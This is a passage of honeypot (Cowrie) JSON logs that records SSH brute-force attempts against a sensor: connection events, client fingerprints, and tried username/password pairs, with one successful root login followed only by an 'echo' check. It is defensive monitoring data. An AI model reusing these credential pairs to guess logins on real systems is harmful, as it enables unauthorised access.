16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:24.395236Z","src_ip":"2.57.122.210","session":"5ea1da84475c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:24.778744Z","src_ip":"2.57.122.210","session":"5ea1da84475c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:25.885625Z","src_ip":"2.57.122.210","session":"5ea1da84475c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":35841,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f898525c672","protocol":"ssh","message":"New connection: 154.125.147.88:35841 (10.17.0.5:22) [session: 1f898525c672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:27.231570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:27.236732Z","src_ip":"154.125.147.88","session":"1f898525c672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:27.473341Z","src_ip":"154.125.147.88","session":"1f898525c672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"httpd","password":"httpd123!","message":"login attempt [httpd/httpd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:29.071489Z","src_ip":"154.125.147.88","session":"1f898525c672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:30.242401Z","src_ip":"154.125.147.88","session":"1f898525c672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.821500301361084,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:35.362789Z","src_ip":"138.121.246.49","session":"67d485b29ee7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":46340,"dst_ip":"159.203.135.109","dst_port":22,"session":"431b842846fa","protocol":"ssh","message":"New connection: 45.134.9.27:46340 (159.203.135.109:22) [session: 431b842846fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:51.654807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:51.659137Z","src_ip":"45.134.9.27","session":"431b842846fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:51.743948Z","src_ip":"45.134.9.27","session":"431b842846fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tigergraph","password":"Tigergraph123!","message":"login attempt [tigergraph/Tigergraph123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:52.056476Z","src_ip":"45.134.9.27","session":"431b842846fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:25:53.141628Z","src_ip":"45.134.9.27","session":"431b842846fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":44918,"dst_ip":"159.203.135.109","dst_port":22,"session":"d96453a293bb","protocol":"ssh","message":"New connection: 78.128.112.74:44918 (159.203.135.109:22) [session: d96453a293bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:10.143192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:10.157442Z","src_ip":"78.128.112.74","session":"d96453a293bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:10.335602Z","src_ip":"78.128.112.74","session":"d96453a293bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpassword","message":"login attempt [root/adminpassword] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:11.161685Z","src_ip":"78.128.112.74","session":"d96453a293bb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:11.447590Z","src_ip":"78.128.112.74","session":"d96453a293bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:11.450979Z","src_ip":"78.128.112.74","session":"d96453a293bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:11.565808Z","src_ip":"78.128.112.74","session":"d96453a293bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:11.891482Z","src_ip":"78.128.112.74","session":"d96453a293bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47132,"dst_ip":"159.203.135.109","dst_port":22,"session":"8427803e840a","protocol":"ssh","message":"New connection: 162.120.6.20:47132 (159.203.135.109:22) [session: 8427803e840a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:17.592416Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:17.664027Z","src_ip":"162.120.6.20","session":"8427803e840a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":47142,"dst_ip":"159.203.135.109","dst_port":22,"session":"81bdccaa1730","protocol":"ssh","message":"New connection: 162.120.6.20:47142 (159.203.135.109:22) [session: 81bdccaa1730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:17.731220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:17.735380Z","src_ip":"162.120.6.20","session":"81bdccaa1730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:17.805710Z","src_ip":"162.120.6.20","session":"81bdccaa1730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123mudar","message":"login attempt [ubuntu/123mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:18.016650Z","src_ip":"162.120.6.20","session":"81bdccaa1730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:19.088668Z","src_ip":"162.120.6.20","session":"81bdccaa1730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":44840,"dst_ip":"159.203.135.109","dst_port":22,"session":"d39a78bf026c","protocol":"ssh","message":"New connection: 182.253.156.173:44840 (159.203.135.109:22) [session: d39a78bf026c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:39.855054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:39.858966Z","src_ip":"182.253.156.173","session":"d39a78bf026c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:40.113994Z","src_ip":"182.253.156.173","session":"d39a78bf026c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3123!","message":"login attempt [user3/user3123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:41.171930Z","src_ip":"182.253.156.173","session":"d39a78bf026c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":52506,"dst_ip":"10.17.0.5","dst_port":22,"session":"21672976b485","protocol":"ssh","message":"New connection: 118.219.234.233:52506 (10.17.0.5:22) [session: 21672976b485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:41.275886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:41.280115Z","src_ip":"118.219.234.233","session":"21672976b485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:41.465620Z","src_ip":"118.219.234.233","session":"21672976b485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"icecast","password":"123456","message":"login attempt [icecast/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:42.240389Z","src_ip":"118.219.234.233","session":"21672976b485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:42.430146Z","src_ip":"182.253.156.173","session":"d39a78bf026c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:43.427172Z","src_ip":"118.219.234.233","session":"21672976b485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":48390,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bdc7f7d83b1","protocol":"ssh","message":"New connection: 95.164.113.63:48390 (159.203.135.109:22) [session: 2bdc7f7d83b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:49.387778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:49.391268Z","src_ip":"95.164.113.63","session":"2bdc7f7d83b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:49.509616Z","src_ip":"95.164.113.63","session":"2bdc7f7d83b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"macha","password":"1234","message":"login attempt [macha/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:50.037473Z","src_ip":"95.164.113.63","session":"2bdc7f7d83b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:51.160731Z","src_ip":"95.164.113.63","session":"2bdc7f7d83b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":56346,"dst_ip":"159.203.135.109","dst_port":22,"session":"086c23ccdc3a","protocol":"ssh","message":"New connection: 172.211.56.214:56346 (159.203.135.109:22) [session: 086c23ccdc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:53.816108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:53.820328Z","src_ip":"172.211.56.214","session":"086c23ccdc3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:53.907433Z","src_ip":"172.211.56.214","session":"086c23ccdc3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webapps","password":"Webapps123","message":"login attempt [webapps/Webapps123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:26:54.309329Z","src_ip":"172.211.56.214","session":"086c23ccdc3a","protocol":"ssh"}
